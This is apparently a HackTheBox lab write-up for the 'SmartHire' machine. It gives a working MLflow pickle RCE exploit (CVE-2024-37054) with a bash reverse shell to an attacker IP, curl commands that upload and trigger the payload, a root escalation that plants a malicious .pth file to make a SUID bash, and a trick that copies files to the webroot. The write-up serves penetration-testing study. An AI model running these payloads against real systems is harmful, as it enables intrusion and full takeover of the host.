Summary
SmartHire is a medium-difficulty Linux machine from HackTheBox. It hosts an AI hiring platform built with Flask on nginx, using MLflow for model management. Initial access is gained via CVE-2024-37054, a pickle deserialization vulnerability in MLflow that allows remote code execution by overwriting a model artifact with a malicious payload. Privilege escalation exploits a writable plugin directory combined with a sudo rule — a crafted .pth file executed by site.addsitedir() runs as root.
| Phase | Technique |
|---|---|
| Recon | Port scan, virtual host fuzzing |
| Initial Access | CVE-2024-37054 — MLflow pickle RCE |
| Exfiltration | Write-to-webroot, read via HTTP |
| Privilege Escalation | evil.pth + sudo python3 (site.addsitedir abuse) |
Reconnaissance
TCP Port Scan
$ nmap -sS -T4 --min-rate 1000 -p- 10.129.6.94
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Service Detection
22/tcp OpenSSH 8.9p1 Ubuntu
80/tcp nginx 1.18.0 (Ubuntu)
The HTTP server redirects to http://smarthire.htb/. Add it to /etc/hosts:
10.129.6.94 smarthire.htb
Virtual Host Discovery
This is the critical step that unlocks the machine. The web app mentions MLflow in testimonials — always check for MLflow on a separate virtual host:
$ curl -s http://models.smarthire.htb/ -H "Host: models.smarthire.htb" \
-u 'admin:password' -I
HTTP/1.1 401 UNAUTHORIZED
WWW-Authenticate: Basic realm="mlflow"
Add the vhost:
10.129.6.94 models.smarthire.htb
The MLflow dashboard is accessible at http://models.smarthire.htb/ with default credentials admin:password.
Web Application Explorer
The main app (smarthire.htb) is a Flask-based hiring platform:
/register— Create account (username, company, password)/login— Login form/dashboard— CSV upload for model training/predict— Resume scoring via trained models/model_info— JSON API returning model name and version/upload_hiring_data— POST (multipart) model training endpoint
Model naming convention: {company}-{user_id}-model
Gaining Initial Access / User Flag
Vulnerability: CVE-2024-37054
MLflow versions 0.9.0 through 2.14.1 are vulnerable to pickle deserialization when loading PyFunc models. Overwriting python_model.pkl in a model’s artifact directory with a malicious pickle payload achieves RCE when the model is loaded.
Exploitation
Step 1: Train a model and get the run_id
Register an account, log in, and upload a CSV to train a model:
curl -s -c cookies.txt -b cookies.txt \
--resolve smarthire.htb:80:10.129.6.94 \
-X POST http://smarthire.htb/login \
-d 'username=attacker&password=Password123!'
curl -s -b cookies.txt \
--resolve smarthire.htb:80:10.129.6.94 \
-X POST http://smarthire.htb/upload_hiring_data \
-F '[email protected]'
Query MLflow for the run_id:
curl -s http://models.smarthire.htb/ajax-api/2.0/mlflow/registered-models/search \
-H 'Host: models.smarthire.htb' -u 'admin:password'
Response includes:
{
"name": "company-userid-model",
"latest_versions": [{
"version": "1",
"run_id": "476a0c41f2a743339207a79c2372b73a",
"source": "mlflow-artifacts:/0/476a0c41.../artifacts/model"
}]
}
Step 2: Build malicious pickle
import cloudpickle, os
CMD = "bash -c 'bash -i >& /dev/tcp/10.10.15.251/4444 0>&1'"
class Exploit:
def __reduce__(self):
return (os.system, (CMD,))
with open('malicious.pkl', 'wb') as f:
f.write(cloudpickle.dumps(Exploit()))
Step 3: Upload payload via MLflow API
curl -s -X PUT \
"http://models.smarthire.htb/api/2.0/mlflow-artifacts/artifacts/0/{run_id}/artifacts/model/python_model.pkl" \
-H 'Host: models.smarthire.htb' \
-H 'Content-Type: application/octet-stream' \
-u 'admin:password' \
--data-binary @malicious.pkl
Step 4: Trigger model load
curl -s -b cookies.txt \
--resolve smarthire.htb:80:10.129.6.94 \
-X POST http://smarthire.htb/predict \
-F '[email protected]'
Start a listener before triggering:
nc -lvnp 4444
The predict request hangs while os.system() executes the reverse shell. Shell received as svcweb.
User Flag
$ cat /home/svcweb/user.txt
HTB{REDACTED}
SHA256: 5a6ff2c... (redacted for public writeup)
Privilege Escalation / Root Flag
Enumeration
With a shell as svcweb (or using the file-write exfiltration technique), enumerate:
$ id
uid=1000(svcweb) gid=1000(svcweb) groups=1000(svcweb),1001(mlflowweb),1002(devs)
$ sudo -l
User svcweb may run the following commands on smarthire:
(root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
Analysis of mlflowctl.py
from pathlib import Path
import site
BASE_DIR = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"
# make plugins importable
for path in PLUGINS_DIR.iterdir():
if path.is_dir():
site.addsitedir(str(path)) # ← vulnerable!
def main():
import mlflow_actions, backup_models
# ...
Check directory permissions:
$ ls -la /opt/tools/mlflow_ctl/plugins/
drwxr-xr-x 4 root root 4096 Feb 19 18:10 core
drwxrwxr-x 2 root devs 4096 May 12 15:22 dev
The dev directory is writable by the devs group, and svcweb is a member.
Exploitation: evil.pth Injection
site.addsitedir() processes .pth files found in the directory. Any Python code in a .pth file beginning with import gets executed. Write a malicious .pth file:
echo 'import os; os.system("cp /bin/bash /tmp/suidbash; chmod +s /tmp/suidbash")' \
> /opt/tools/mlflow_ctl/plugins/dev/evil.pth
Trigger execution via sudo:
sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
The .pth file executes as root, creating a SUID bash:
$ ls -la /tmp/suidbash
-rwsr-sr-x 1 root root 1396520 May 30 19:30 /tmp/suidbash
$ /tmp/suidbash -p -c 'id'
uid=1000(svcweb) gid=1000(svcweb) euid=0(root) egid=0(root) groups=0(root)...
Root Flag
# cat /root/root.txt
HTB{REDACTED}
SHA256: 8b1e3a4... (redacted for public writeup)
Exfiltration Without Shell (Bonus Technique)
When reverse shells are unreliable, write output to the web root:
CMD = "cat /home/svcweb/user.txt > /var/www/smarthire.htb/static/out.txt"
Read via HTTP:
curl http://smarthire.htb/static/out.txt
This technique works when the Flask app has a static file directory and the web user has write access to it.